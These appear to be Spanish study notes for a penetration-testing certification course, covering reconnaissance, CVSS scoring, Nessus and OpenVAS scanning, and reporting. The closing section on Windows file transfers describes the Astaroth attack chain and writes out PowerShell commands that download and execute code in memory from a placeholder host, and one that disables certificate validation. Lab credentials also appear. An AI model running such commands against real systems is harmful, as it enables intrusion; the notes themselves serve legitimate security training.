  • Links internos y externos
  • Comentarios
  • Metadata
  • Archivos sensibles

CPTS

2. Robots.txt

Es un archivo de texto que se encuentra en el webroot: http://IP/robots.txt, que indica a los browsers y crawlers que partes si y que partes no pueden visitar de forma indexada

![[Pasted image 20260407195923.png]]

Aqui se indica que para cualquier User Agent no se pude visitar /private/

Directivas que puede tener

![[Pasted image 20260407200019.png]]![[Pasted image 20260407200049.png]]

CPTS

3. Well Known Uris

.well-known es un directorio estandarizado que se encuentra en el webroot y contiene metadata critica e incluye archivos e informacion de configuracion relacionado con servicios, protocolos y mecanismos de seguridad

https://example.com/.well-known/security.txt -> security policy

Well-Known URIs

![[Pasted image 20260407200356.png]]![[Pasted image 20260407200406.png]]

CPTS

4. Crawlers

Crawlers populares

  • Burp Suite Spider
  • ZAP
  • Scrapy
  • Apache Nuth

Scrapy

Instalacion scrapy y ReconSpider

pip3 install scrapy --break-system-packages 
wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip
unzip ReconSpider.zip

Usando ReconSpider

python3 ReconSpider.py http://Pagina_Inicial

![[Pasted image 20260407201554.png]]

Los resultados seran en JSON:

![[Pasted image 20260407201615.png]]

Tipos de datos extraidos:

![[Pasted image 20260407201644.png]]

LABORATORIO

  1. Tras spidear inlanefreight.com identifia la localizacioon donde los reportes futuros seran almacenados

![[Pasted image 20260407201939.png]]![[Pasted image 20260407201949.png]]![[Pasted image 20260407202338.png]]![[Pasted image 20260407202351.png]]

Si miramos dentro con nano en la parte de comentarios encontramos un comentario que habla de cambiar la ubicacion de nuevos reportes:

![[Pasted image 20260407202451.png]]

CPTS

1. Google Dorks

Permite lanzar queries en Google para acotar las busquedas. Hay tambien para otros navegadores pero nos centraremos en los google dorks

Operadores

Google Dorks filtros

![[Pasted image 20260407202730.png]]![[Pasted image 20260407202739.png]]![[Pasted image 20260407202748.png]]

Ejemplos:

![[Pasted image 20260407202807.png]]

CPTS

1. Archivos WEB

Internet Archive’s Wayback Machine es un repositorio que almacena paginas web en su versiones pasadas

Funciona usando web crawlers que realizan captuaras a las websites cada cierto tiempo ademas de guardar el HTML, CSS y JS + imagenes y otros recursos

Para que nos sirve

  1. Destapar informacion escondida y vulnerabilidades: puede haber directorios, archivos o subdominios que no esten actualmente accesibles y que puedan contener informacion expuesta
  2. Seguir los cambios e identificar patrones
  3. Recopilacion inteligente
  4. Reconocimiento sigiloso

LABORATORIO

  1. Cuantos labs tenia HTB el 8 de Agosto de 2018 ![[Pasted image 20260407204534.png]] ![[Pasted image 20260407204527.png]] ![[Pasted image 20260407204613.png]] ![[Pasted image 20260407204724.png]]

  2. Cuantos miembros tenia HTB el 10 de Junio de 2017

![[Pasted image 20260407204845.png]] ![[Pasted image 20260407204932.png]]

  1. En 2002, a que te redirigia facebook.com, ejemplo: http://www.facebook.com/

![[Pasted image 20260407205028.png]] ![[Pasted image 20260407205057.png]]

  1. Segun paypal.com en octubre de 1999, que se podia usar para transmitir dinero? Responder con el nombre del producto

![[Pasted image 20260407205138.png]]![[Pasted image 20260407205143.png]] ![[Pasted image 20260407205241.png]]

Palm Organizer

  1. Volviendo a marzo 2000 en www.iana.org, cuando fue su ultima actualizacion

![[Pasted image 20260407205658.png]] ![[Pasted image 20260407205713.png]]

  1. Segun wikipedia.com en 9 Febrero de 2003 cuando articulos hay en English version

![[Pasted image 20260407205323.png]]![[Pasted image 20260407205356.png]]

CPTS

1. Automatizando Reconocimiento

Herramientas

  • FinalRecon: SSL certificate checking, Whois information gathering, header analysis and crawling

  • Recon-ng: DNS enumeration, subdomain discovery, port scanning, web crawling and even exploit known vulnerabilities

  • theHarvester: gathering email addresses, subdomains, hosts, employee names, open ports, and banners from different public sources like search engines, PGP key servers, and the SHODAN database

  • SpiderFoot: collect information about a target, including IP addresses, domain names, email addresses, and social media profiles. It can perform DNS lookups, web crawling, port scanning and more

  • OSINT Framework: a collection of various tools and resources for open-source intelligence gathering

Final Recon

Como hemos visto nos ofrece recopilacion de informacion de forma automatica como:

  • Header Information
  • Whois Lookup
  • SSL Certificate Information
  • Crawler
  • DNS Enum
  • Subdomain Enum
  • Directory Enum
  • Wayback Machine

Instalacion

git clone https://github.com/thewhiteh4t/FinalRecon.git
cd FinalRecon
pip3 install -r requirements.txt
chmod +x ./finalrecon.py
./finalrecon.py --help

![[Pasted image 20260408145015.png]]

Parametros y uso

![[Pasted image 20260408145042.png]]

![[Pasted image 20260408145052.png]]![[Pasted image 20260408145100.png]]

CPTS

1. Skill Assessment

  1. Cual es el IANA ID del Registrar de inlanefreight.com

![[Pasted image 20260408145644.png]]

  1. Que software esta corriendo el webserver?

![[Pasted image 20260408145724.png]]

  1. Que API Key esta escondida en el directorio admin que has descubierto en el sistema

![[Pasted image 20260408150110.png]] ![[Pasted image 20260408150623.png]] ![[Pasted image 20260408151505.png]] ![[Pasted image 20260408151531.png]] ![[Pasted image 20260408151603.png]] ![[Pasted image 20260408151757.png]] ![[Pasted image 20260408151821.png]] ![[Pasted image 20260408152328.png]]

  1. Tras hacer crawling de inlanefreight.htb, cual es email que has encontrado?

Como vimos ni la pagina principal ni la de web1337 que es la unica que encontramos tienen links ni hipervinculos. Podemos buscar otro nuevo vhost dentro del de web1337 a ver si hay otro que contenga links

![[Pasted image 20260408153004.png]] ![[Pasted image 20260408152955.png]] ![[Pasted image 20260408152944.png]]

Ahora hacemos el crawling

![[Pasted image 20260408153039.png]] ![[Pasted image 20260408153103.png]]

  1. Cual es el API key que los developers de inlanefreight.htb van a cambiar

Bajando en los resultados en la seccion de comentarios encontramos la api key

![[Pasted image 20260408153137.png]]

CPTS

1. Evaluacion De Vulns Vs Pentest

Evaluacion de vulnerabilidades vs Pentest

  1. Evaluacion de vulnerabilidades: procesos sistematico de identificar, analizar y clasificar las vulnerabilidades persentes en un sistema, red o aplicacion. Su objetivo es detectar posibles fallos de seguridad de forma automatizada o semi automatizada sin explotar activamente las vulnerabilidades

  2. Pentest: simulacion controlada de un ataque real en el que se explotan vulnerabilidades para evaluar hasta que punto un sistema puede ser comprometido. Su objetivo es medir el impacto real de las vulnerabildiades y demostrar como un atacante podria acceder, escalar priviligios o comprometer la seguridad del sistema

![[Pasted image 20260408154106.png]]

CPTS

2. Evaluacion De Vulnerabilidades

Metodologia

8 pasos:

  • Identificacion y analisis de riesgos: identificar todos los activos y evaluar posibles riesgos
  • Desarrollar politicas de escaneo: establecer normas y responsables de los escaneos de seguridad
  • Identificar tipo de escaneo: se decide que tipo de escaneo realizar segun el sistema
  • Configurar el escaneo: se definen objetivos, puertos, protocolos y parametros del escaneo
  • Realizar el escaneo: la herramienta analiza los sistemas y detecta servicios y vulnerabilidades
  • Evaluar posibles riesgos: se analizan los impactos del escaneo como posibles caidas del sistema
  • Interpretar resultados: se revisan vulnerabilidades y se priorizan segun su gravedad
  • Crear plan de mitigaciones: se establecen acciones para corregir y reducir las vulnerabilidades

Elementos

1. Vulnerabilidad

Es una debilidad o bug que abre la posibilidad de amenazas de actores externos

Pueden estar registradas en el MITRE y recibir una puntuacion Common Vulnerability Scoring System (CVSS)

Se suele usar frecuentemente como estandar para calcular la precision y consistencia de la vulnerabilidad ayudando a priorizar vulns

METRICAS QUE SE USAN

  • Vector de ataque: red, local, fisico
  • Complejidad
  • Requerimiento de privs
  • Si necesita o no interaccion del usuario
  • El impacto si se llega a realizar de forma satisfactoria (confidencialidad, disponibilidad e integridad)

Esto marca un resultado del 0 - 10

![[Pasted image 20260408155331.png]]

2. Threat o amenaza

Es un proceso que aplicfica el potencial de un evento adverso. Unas vulnerabilidades generan mayor preocupacion que otras debido a la probabilidad de ser explotadas

3. Exploit

Codigo o recurso que puede ser usado para tomar ventaja de una debilidad o vulnerabilidad

Muchos se encuentran en: Exploit-db or the Rapid7 Vulnerability and Exploit Database

4. Riesgo

Posibilidad de que los activos o datos sean dañados o destruidos por actores maliciosos

![[Pasted image 20260408160049.png]]

Score

![[Pasted image 20260408160159.png]]

CPTS

1. Cvss (common Vulnerability Scoring System)

Common Vulnerability Scoring System (CVSS) es un estandar en la industria para poner una puntuacion a las vulnerabilidades encontradas

Se suele usar junto con Microsoft DREAD que es un evaluador de riesgo en una escala de 10 puntos

Con esto, nosotros calculamos el riesgo de una amenaza o vulnerabilidad con 5 factores:

  • Daño potencial
  • Reproducibilidad
  • Explotabilidad
  • Usuarios afectados
  • Descubrilidad

Severity Scoring

La puntuacion de CVSS consisten en:

  • Explotabilidad: entra el vector de ataque, complejidad de acceso y autenticacion
  • Impacto: consiste en CIA (confidencialidad, disponibilidad e integridad)

![[Pasted image 20260408162433.png]]

Base Metric Group (SIEMPRE ESTAN)

Representa las caracteristicas de la vulnerabilidad

  1. Metricas de explotabilidad: una forma de evaluar las cosas tecnicas necesarias para explotar el problema:

    • Vector de ataque
    • Complejidad del ataque
    • Requerimiento de privilegios
    • Interaccion del usuario
  2. Metricas de impacto: representan la repercusion de una explotacion exitosa y que impacta en la CIA (confidencialidad, integridad y disponibilidad)

![[Pasted image 20260408162750.png]]

Temporal Metric Group (OPCIONALES)

Detalles de la disponibilidad de exploits o parches del problema

  1. Madurez del código del exploit: es una metrica que representa la probabilida de explotacion de la vulnerabilidad en funcion de la facilidad de la tecnica

    • Tenemos varias metricas:
      • Not Define : se omite la metrica
      • High : vulnerabilidad que funciona de forma consistente y facilmente identificable con herramientas automatizadas
      • Functional : existe codigo de explotacion disponible
      • Proof of Concept PoC : existe un codigo de explotacion de prueba de concepto pero requeriria modificaciones por parte del atacante
      • Unproven
  2. Nivel de remediacion: usado para identificar la priorizacion de vulnerabilidades

    • Tenemos varias metricas:
      • Not Define : se omite la metrica
      • Unavailable : no hay ningun parche disponible para la vulnerabilidad
      • Workaroung : hay una solucion no oficial publicada hasta que el proveedor la parchee oficialmente
      • Temporary Fix : proveedor oficial ha proporcionado una solucion temporal
      • Official Fix : proveedor ha publicado un parche oficial para el problema
  3. Confianza del informe: representa la validacion de la vulnerabilidad y como de precisa es la tecnica

    • Tenemos varias metricas:
      • Not Defined : se omite la metrica
      • Confirmed : existen varias fuentes con informacion detallada que confirma la vulnerabilidad
      • Reasonable : algunas fuentes han publicado informacion de la vulnerabilidad pero no hay certeza de que alguien logre el mismo resultado debido a la falta de detalles para reproducirla
      • Unkown

Environmental Metric Group (OPCIONALES)

Estas son puestas por la emrpesa. Ejemplo, impacto alto pero tu empresa ese sistema no es critico o esta aislado entonces CIA estara a low

Representa la significancia de la vulnerabilidad teniendo en cuenta la CIA

  1. Modified Base Metrics: representa las metricas que pueden modificarse si la organizacion considera que existe riesgo significativo en CIA
    • Tenemos varias metricas:
      • Not Defined : se omite la metrica
      • High : uno de los elementos de la triada CIA trendria egectos astronomicos en la organizacion general y clientes
      • Medium : uno de los elementos de la CIA tendira efectos significativos en la organizacion en general
      • Low : uno de los elementos de la triada CIA tendria efectos minimos en la organizacion general

CALCULAR CVSS

Calculadora : tiene en cuenta las metricas discutidas en esta seccion

EJEMPLO INVENTADO SIN ENVIRONMENTAL SCORE METRICS:

![[Pasted image 20260408165636.png]] ![[Pasted image 20260408165630.png]] ![[Pasted image 20260408165659.png]]

Ejemplo : Windows Print Spooler Remote Code Execution Vulnerability

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527

![[Pasted image 20260408165320.png]]

CPTS

2. Cve (common Vulnerability And Exposures)

OVAL Open Vulnerability Assessment Language

OVAL es un estandar internacionar de seguridad de la informacion disponible publicamente que se usa para evaluar y detallar el estado actual y los problemas del sistema

![[Pasted image 20260408195659.png]]

El objetivo de OVAL es tener una estructura en 3 pasos durante el proceso de evaluacion que consiste en:

  • Identificar la configuracion del sistema
  • Evaluar el estado actual del sistema
  • Desglosar la informacion en un reporte

La informacion se puede describir en varios estados: Vulnerable, Non-compliant, Installed Asset y Patched

CVE Common Vulnerabilities and Exposures

CVE es un catalogo publico de problemas de seguridad. Cada problema de seguridad tiene su CVE ID unico

![[Pasted image 20260408200102.png]]

Pasos para obtener un CVE:

  1. Identificar si el CVE es requerido y relevante
  2. Llegar al vendor afectado
  3. Identificar si la solicitud deberia ser para el Vendor CNA o Third Party CNA
  4. Solicitar CVE ID a traves de CVE Web Form
  5. Confirmacion del CVE Form
  6. Se recibe el CVE ID
  7. Restriccion de publicacion sel CVE ID
  8. Publicacion del CVE ID
  9. Proveer informacion al CVE Team

CPTS

1. Introduccion A Vulnerability Scanning

Los escaners de vulnerabilidades normalmente no explotan vulnerabilidades (salvo excepciones) por lo que se necesitan manos para validar estos resultados, es decir, determinar si son FP o TP

Tipos de test:

  • Estatico: determina si la vulnerabilidad si la version identificada corresponde con un CVE publico. A veces se ha instalado un parche y no es fiable o el objetivo no es vulnerable a ese CVE
  • Dinamico: trata de especificar, usando payloads benignos, creds debiles, SQLi o command injection…

Se deben ejecutar tanto escaneos autenticados como no autenticados para asegurar de que los activos son parcheados a medida que se van descubriendo nuevas vulns

CPTS

2. Descaargando Con Nessus

Download Page :descargaremos el de Ubuntu

![[Pasted image 20260408201509.png]]

Tendremos que visitar Activation Code Page para obtener el codigo de activacion:

![[Pasted image 20260408201612.png]]

dpkg -i Nessus-8.15.1-ubuntu910_amd64.deb
sudo systemctl start nessusd.service
https://localhost:8834

Marcaremos Nessus Essentials

![[Pasted image 20260408201702.png]]![[Pasted image 20260408201707.png]]![[Pasted image 20260408201713.png]]![[Pasted image 20260408201723.png]]

CPTS

3. Nessus Scan

  1. Le damos a New Scan
  2. Seleccionamos una plantilla:
    1. Discovery
    2. Vulnerabilities
    3. Compliance
  3. Ejemplo con Discovery: tenemos Host discovery, Basic Network Scan…

![[Pasted image 20260408202404.png]]

  1. Usaremos Basic Network Scan (tendremos dos IPs (172.16.16.100 Windows - 172.16.16.160 Linux))

![[Pasted image 20260408202458.png]]

  1. Apartado Discovery tenemos la opcion de habilitar escaneo para dispositivos fragiles

![[Pasted image 20260408202642.png]]

  1. Eligiremos Common Ports, Alls Ports o Self-Define Range

![[Pasted image 20260408202722.png]]

  1. Apartado Assessment: Podemos habilitar el web application scanning y customizar nuestro User Agent y otras opciones (como URL para intentar RFI)

![[Pasted image 20260408202902.png]]

  1. Tambien hay opciones de habilitar el intento de inicio de sesion contra las aplicaciones y servicios descubiertos usando las creds dadas en archivos tipo wordlist o realizar brute force

![[Pasted image 20260408203002.png]]

  1. Tambien se puede habilitar el user enum usando varias tecnicas como RID brute force:

![[Pasted image 20260408203041.png]]

  1. Pestaña avanzado: safe checks hace que no se ejecuten pruebas que puedan dañar al sistema. no intenta explotar. Podemos tambien elegir reducir las velocicdades, threads y mas

![[Pasted image 20260408203319.png]]

CPTS

4. Configuraciones Avanzadas

Veremos varias configuraciones avanzadas

Scan Policies

Nessus nos da la opciones crear politicas de escaneo para determinar algunas opciones de escaneo. Tambien nos dan plantillas (Scan Templates)

Esto nos dara la posibilidad de crear escaneos para diferentes escenarios como mas lentos, evasivos, web focused…

![[Pasted image 20260408204057.png]]

Creando un Scan Policy

  1. Le damos a New Policy y se nos dara una lista de escaneos preconfigurados (Podemos elegir alguno como Basic Network Scan y customizarlo o crear el nuestro propio desde 0)
  2. Elegimos Advanced Scan para crear uno desde 0
  3. Le damos nombre y descripcion

![[Pasted image 20260408204249.png]]

  1. Desde aqui podemos configurar como queramos y podemos habilitar y deshabilitar plugins
  2. Una vez terminado le damos a save y habremos creado una politica que aparecera en policy list
  3. Scans > Sacn Templates > User Defined

![[Pasted image 20260408204500.png]]

Plugins

Nessus Attack Scripting Language (NASL) : estos plugins contienen infromacion como vulnerability name, impact, remedation y formas de testear un issue particular

Los plugins son clasificado por el severity level : Critical, High, Medium, Low, Info

Nessus es una herramienta de escaneo de vulnerabilidades que identifica posibles fallos de seguridad basándose, en muchos casos, en versiones de software o configuraciones detectadas, mientras que herramientas como `sslscan` analizan directamente los protocolos y cifrados que un servidor acepta. Sin embargo, no todas las detecciones implican un riesgo real, ya que un servidor puede permitir ciertos cifrados antiguos por compatibilidad sin que sean explotables en la práctica. Por ello, es fundamental que el analista valide manualmente los resultados

![[Pasted image 20260408205031.png]]

Aqui sslscan ha detectado que usa TLSv1.0 bastante antiguo y vulnerable y se usan cipher suites inseguros hoy en dia. Pero puede que ese servicio no necesite ni siquiera TLS por lo que no es una vulnerabilidad real, por ejemplo FTP interno sin TLS o servidor internos sin TLS lo que pude ser aceptable

En nuestro caso Microsoft DirectAccess no depende de SSL/TLS para su seguridad

Podemos crear una regla Plugin que haga que cuando se ejecute el plugin no nos salga esa informacion en ese host o en todos

Resources > Plugin Rules > Create

![[Pasted image 20260408205909.png]]

Aqui incluimos el host que quedara excluido para el FP de Microsoft DirectAccess, el plugin ID para Microsoft DirectAccess y pondremos Hide this result

![[Pasted image 20260408210242.png]]

Tambien podemos excluir ciertos problemas de los resultados del analisis como plugins para problemas no explotables. Podemos poner el plugin ID y el host donde se excluira el resultado del plugin. El plugin se ejecutara pero no nos saldra el resultado:

![[Pasted image 20260408210515.png]]

Escaneando con Credenciales

Nessus soporta hacer escaneos con credenciales de muchos tipos (LM/NTLM hashes, Kerberos Authentication, passwords)

En la categoria Host based podemos usar:

  • SSH: poniendo password, public key, Kerberos auth
  • Windows: password, Kerberos, LM/NTLM hash

![[Pasted image 20260409141036.png]]

En la categoria Database podemos poner una gran variedad de tipos de bases de datos como Oracle, PostgresSQL, DB2, MySQL….

![[Pasted image 20260409141141.png]]

Tambien podemos usar la categoria Plain Test Scan para servicios como FTP, HTTP, IMAP…

![[Pasted image 20260409141332.png]]

En el output podemos ver si la autenticacion fue exitosa contra algun servicio o aplicacion: ![[Pasted image 20260409141520.png]]

CPTS

5. Trabajando Con Las Salidas Del Scan

Nessus nos da la opcion de exportar los resultados en varios formatos y tambien importarlos para otras herramientas, archivos… como:

  • EyeWitness : se puede usar para tomar capturas de todas las webapps encontradas por nessus

Reportes de Nessus

Podemos exportar los resultados en formato .pdf, .html o .csv. Los formatos .html y .pdf dan la opcion de generar un resumen ejecutivo o customizar el report

El resumen ejecutivo provee una lista de hosts y el numero de vulnerbilidades descubierta en cada host y la opcion de show details para ver la severidad, CVSS score plugin number y nombre del problema detectado

El .csv nos permite elegir las columnas que exportar muy util si tenemos que importar los resultados a herramientas como Splunk

![[Pasted image 20260409142419.png]]

Ejemplo de un HTML report: ![[Pasted image 20260409142453.png]]

Exportando Nessus scan

Nos da dos opciones:

  • .nessus = .xml + copia de configuraciones de scan y salidas de los plugins
  • .db = .nessus +  scan’s KB, plugin Audit Trail, and any scan attachments

Scripts como nessus-report-downloader se usan para descargar los escaneos el todos los formatos posibles desde la terminal:

![[Pasted image 20260409142817.png]]

CPTS

6. Problemas De Scanning

Estos escaneos pueden causar problemas a redes y objtivos sensibles ademas de proveer FPs, no results… Preguntar al cliente que objetivos son sensibles a estos escaneos

Mitigando problemas

  1. Muchas veces los firewalls nos daran que todos los puertos estan open o que ninguno lo esta. Algunos firewalls pueden devolver ICMP Unreachable que Nessus toma como alive o darnos muchos FPs (no todo se soluciona con lo siguiente)

    • Solucion: en Advance Options, desactivar Ping remote host
  2. En redes sensibles podemos usar rate-limiting para minimizar el impacto

    • Solucion: Performance Options y modificar Max Concurrent Checks Per Host esto limitara el numero de plugins usados a la vez (es un ejemplo se pueden usar mas)
  3. Podemos evitar escanear legacy systems y elegir la opcion de no escanear impresoras

    • Solucion: para esto usamos nessusd.rules (el archivo de configuracion)
  4. Por ultimo nos debemos de asegurar de que no estamos lanzando plugins de DoS

    • Solucion: habilitar siempre la opcion de “safe checks” para evitar plugins que puedan tener un impacto negativo en el objetivo. No significa que tenga 0 impacto negativo pero lo reduce muchisimo

Impacto en la red

Es importante tener en cuenta el ancho de banda que consumimos en la red

Podemos usar: vnstat

Vamos a comparar los resultados antes y dutante un nessus scan:

sudo apt install vnstat
sudo vnstat -l -i eth0

![[Pasted image 20260410145015.png]]![[Pasted image 20260410145027.png]]

Cuando los comparamos podemos ver el numero de bytes y paquetes transferidos durante el vulnerability scan

CPTS

7. Skill Assessment

Creds del target:

  • Linux:
    • 172.16.16.160
    • student_adm:HTB_@cademy_student!
  • Windows:
    • 172.16.16.100
    • administrator:Academy_VA_adm1!

Tarda mucho:

Acceder a Nessus (http://IP:8834)
Usar las credenciales propias o  htb-student:HTB_@cademy_student!
Usar Basic Network Scan
Modificar la plantilla a ALL Ports contra la IP 172.16.16.100
Usaremos el modo autenticado usando las creds de Windows

CPTS

1. Empezando Con Openvas

OpenVAS : es un escaner de vulnerabilidades publico que tiene capacidades para realizar escaneos de red autenticados y no autenticados

![[Pasted image 20260410145404.png]]

Instalar OpenVAS

sudo apt-get update && apt-get -y full-upgrade
sudo apt-get install gvm && openvas
gvm-setup

La primera vez que se levante puede tardar mucho 30min

![[Pasted image 20260410145450.png]]

Tras esperar podemos por fin empezar con OpenVAS:

gvm-start

![[Pasted image 20260410145541.png]]

CPTS

2. Escaneo Openvas

En esta seccion nos adentraremos en el apartado de Scans

![[Pasted image 20260410145745.png]]

Aqui podremos ver scans que hemos lanzado previamente, laseccion de “Create a new task” que nos permitira crear un nuevo scan

Los escaneos que se ven aqui ya esta pre establecidos para evitar perder el tiempo. Lo suyo es ir mirando las vulnerabilidades que va sacando en vez de esperar a que termine completamente porque tardara como 1-2h

Para este modulo:

Windows: 172.16.16.100
Linux: 172.16.16.160

![[Pasted image 20260410150103.png]]

Configuraciones

Antes de configurar ningun escaneo lo primero deberia ser configurar los objetivos del escaneo

Configurations > Targets  :  aqui veremos los targets añadidos

![[Pasted image 20260410150226.png]]

Para añadir uno:

Clickar en el boton resaltado > 
- Añadir un target individual o una host list
- Configurar puertos, autenticacion y metodos

![[Pasted image 20260410150414.png]]

Para escaneos autenticados necesitaremos lanzarlo con credenciales root o Administrator. Cuando mayor nivel de permisos tengamos al lanzarlo, mas informacion de los host obtendremos

Tras añadir el target saldra esto:

![[Pasted image 20260410150710.png]]

Creando un scan

Muchas configuraciones usan NVT Family (diferentes categorias de vulnerabilidades, como Windows, Linux, WebApps…)

![[Pasted image 20260410150828.png]]

Hay muchas configuraciones de escaneo de red. Se recomienda solo usar los siguientes ya que el resto pueden causar daños en el sistema:

  • Base: enumerar informacion sobre el host status y SO info. No checkea vulns
  • Discovery: enumera informacion sobre el sistema. Identifica configuraciones de los servicios, hw, puertos y sw. No checkea vulns
  • Host Discovery: solamente testea si el host esta vivo para determinar si esta activo en la red. No checkea vulns. Usa ping
  • System Discovery: enumera el target un poco mas que Discovery Scan e intenta identificar el SO y hw
  • Full and fast: es la mas segura y aprovecha la inteligencia para usar NVT checks basado en puertos accesibles del host

Podemos crear nuestro propio scan

Scans > New Task

![[Pasted image 20260410151315.png]]

Despues podremos configurar el escaneo:

![[Pasted image 20260410151356.png]]![[Pasted image 20260410151415.png]]![[Pasted image 20260410151422.png]]

CPTS

3. Exportacion De Resultados

Podemos verlos en

Scans > Columna "Last Report"

![[Pasted image 20260410151508.png]]

Una vez que entramos al reporte podemos ver los resultados del escaneo y SO info, open ports, servicios…

![[Pasted image 20260410151542.png]]

Exportarlo

Hay varios formatos (XML, CSV, PDF, ITG, and TXT). Si elegimos XML podemos verlo en un formato facil de leer

![[Pasted image 20260410151820.png]]

Tras exportarlo en XML usaremos openvasreporting que da varios opciones. En nuestro caso usaremos un comandos que nos prepara un excel

python3 -m openvasreporting -i report-2bf466b5-627d-4659-bea6-1758b43235b1.xml -f xlsx

![[Pasted image 20260410151931.png]]![[Pasted image 20260410151938.png]]

CPTS

4. Openvas Skill Assessment

OpenVAS creds:

htb-student:HTB_@cademy_student!

Creds:

Linux
	172.16.16.160 
	htb-student_adm:HTB_@cademy_student!

Windows
	172.16.16.100
	administrator:Academy_VA_adm1!

Tarda mucho:

Acceder a Nessus (http://IP:8080)
Usar las credenciales propias o  htb-student:HTB_@cademy_student!
Crear un New Task con OpenVAS Default
Usar Full and Fast contra 172.16.16.160
Usar el modo autenticado con las creds Linux

CPTS

1. Reporting

Un reporte solido debe tener estas secciones:

  • Resumen ejecutivo - Executive Summary
  • Vista general de evalucacion - Overview of Assessment
  • Alcance - Scope
  • Vulnerabilidades y Recomendaciones - Vulnerabilities and Recommendations

Executive Summary

Trata de ser comprensible para alguien que necesite una vista rapida y general de los detalles y que es lo mas importante de lo encontrado dependiendo de la severidad

Esto permite priorizar. Se puede añadir un grafico:

![[Pasted image 20260410152956.png]]

Overview of Assessment

Debe incluir cualquier metodologia usada durante la evaluacion. La metodologia debe detallar la ejecucion de la evaluacion durante el periodo de testeo como discutir el proceso y herramientas usadas (Nessus por ejemplo)

Alcance y duracion

Debe incluir todo lo que el cliente a autorizado a evaluar incluyendo el objetivo y el periodo de prueba

Vulnerabilities y recomendations

Seccion donde se debe detallas los halalzgos encontrados durante el escaneo una vez eliminados los FPs por testeo manual

Es mejor agrupar los hallazgos que se relacionan entre si segun el tipo de problema o severidad

Cada problema incluye su:

  • Nombre de Vulnerabilidad
  • CVSS
  • CVE
  • Descripcion de la vulnerabilidad
  • Referencias
  • Pasos de remediacion
  • PoC
  • Sistemas afectados

Closing

Escribir los informes de forma que cualquiera puede leerlos Las oraciones al grano y buena semantica. Los mejores informes son los concisos Cuando se analice informacion tecnica, hacer siempre referencia a lo que se describe para que el lector lo comprenda

CPTS

1. Windows File Transfer Methods Intro

Fileless Threats son amenazas que no vienen desde un archivo sino que se usan herramientas legitimas para crearlo en el sistema y ejecutarlo. Esto no significa que no haya operaciones de transferencia de archivos

Explicacion Astaroth

Un link malicioso en un mail de phising es clickado, este crea un archvio .lnk (acceso directo) que cuando es ejecutado con doble click causa la ejecucion de WMIC con el parametro “/Format” que permite descargar y ejecutar codigo malicioso JS

Este JS ademas descarga otros payloads usando Bitsadmin tool (Herramienta legitima de Windows usada para descargar y cargar trabajos y monitorizar su progreso). Estos payloads estan base64 y se usa Certutil para decodificarlos

Despues se usa regsvr32 para cargar una de las DLLs maliciosas en un proceso legitimo que ya se esta ejecutando (Userinit) y asi conseguir la ejecucion de la DLL maliciosa

![[Pasted image 20260410173935.png]]

CPTS

2. Operaciones De Descarga

Tendremos acceso a una maquina Windows (MS02) y queremos descargar archivos de otra maquina (Pwnbox)

![[Pasted image 20260410174146.png]]

Powershell Base64

Esto funciona dependiendo del tamaño del archivo. No se necistara realizar operaciones de red, solo tener acceso a la terminal de la maquina objetivo:

Pasos:

  • Sacamos el md5sum
  • Codificamos en Base64 el archivo en el sistema objetivo a traves de terminal
  • Copiamos
  • Pegamos en nuestra maquina
  • Decodificamos en nuestra maquina
  • Sacamos el md5sum y lo comparamos

En la maquina objetivo Linux:

md5sum ARCHIVO
cat ARCHIVO | base64 -w 0; echo
Copiamos

En nuestra maquina Windows:

Pegamos en una archivo
[IO.File]::WriteAllBytes("ARCHIVO", [Convert]::FromBase64String("BASE64"))
Get-FileHash ARCHIVO -Algorithm md5

![[Pasted image 20260410174721.png]]![[Pasted image 20260410174728.png]]

![[Pasted image 20260410174750.png]] ![[Pasted image 20260410174757.png]]

PowerShell Web Downloads

Muchas compañias permten trafico HTTP/S hacia fuera

System.Net.WebClient puede ser usado para descarga de archivos HTTP/S o FTP

Tabla de parametros: ![[Pasted image 20260410175031.png]]

Sincrono: hasta que no termina la descarga no ejecuta lo siguiente si lo hubiese

(New-Object Net.WebClient).DownloadFile('https://IP/ARCHIVO','C:\ARCHIVO')
Start-Process C:\file.exe

Asincrono: aunque no termina la descarga no ejecuta lo siguiente si lo hubiese

(New-Object Net.WebClient).DownloadFileAsync('https://IP/ARCHIVO', 'C:\ARCHIVO')
Start-Process C:\file.exe

Fileless Method

En vez de descargarlo y ejecutarlo desde PowerShell como antes, podemos descargarlo y ejecutarlo seguidamente directamente en memoria

IEX (New-Object Net.WebClient).DownloadString('https://IP/ARCHIVO')

o

(New-Object Net.WebClient).DownloadString('https://IP/ARCHIVO') | IEX

Se puede hacer con Invoke-WebRequest, curl, wget y mas

Invoke-WebRequest https://IP/ARCHIVO -OutFile ARCHIVO | IEX

Invoke-WebRequest

Invoke-WebRequest alias iwr, curl y wget

Invoke-WebRequest https://IP/ARCHIVO -OutFile ARCHIVO

Lista de Descarga PowerShell

https://gist.github.com/HarmJ0y/bb48307ffa663256e239

Problemas que pueden pasar

  1. Hay veces que la configuracion inicial de Internet Explorer no se ha completado. Lo podemos bypassear con -UseBasicParsing

    Invoke-WebRequest https://IP/ARCHIVO -UseBasicParsing | IEX

![[Pasted image 20260410181259.png]] ![[Pasted image 20260410181226.png]]

  1. Otro error que puede dar es relacionado con el SSL channel si el certificado no es confiado. Podemos usar:

    [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

![[Pasted image 20260410181427.png]]

SMB Downloads

A traves del puerto 445

Pasos:

  • Crear smbserver en el sistema objetivo
  • Usar copy, move, PowerShell Copy-Item u otras opciones SMB

En el sistema objetivo:

sudo impacket-smbserver share -smb2support /tmp/DIRECTORIO_SHARE

En nuestro sistema:

copy \\IP\DIRECTORIO_SHARE\ARCHIVO

![[Pasted image 20260410181904.png]]![[Pasted image 20260410181910.png]]

SMBShare autenticado:

  • En nuestra maquina atacante
imapcket-smbshare -smb2support SMBShare ./ -username USER -password PASS
  • En la maquina Windows objetivo
net use \\IP\SMBShare /user:USER PASS
copy \\IP\SMBShare\ARCHIVO C:\RUTA

![[Pasted image 20260611194007.png]] ![[Pasted image 20260611193955.png]]

Problemas que se pueden dar

Puede que la organizacion desactive la opcion de descargar cosas desde un share smb a traves de metodos sin autenticacion o guest

Para esto deberemos levantar un servidor con autenticacion en el sistema objetivo:

sudo impacket-smbserver share -smb2support /tmp/DIRECTORIO_SHARE -user USER -password PASS

En nuestro sistema:

net use n: \\IP\DIRECTORIO_SHARE /user:USER PASS
copy n:\ARCHIVO

Si recibimos mas errores podemos directamente montar el share con NFS

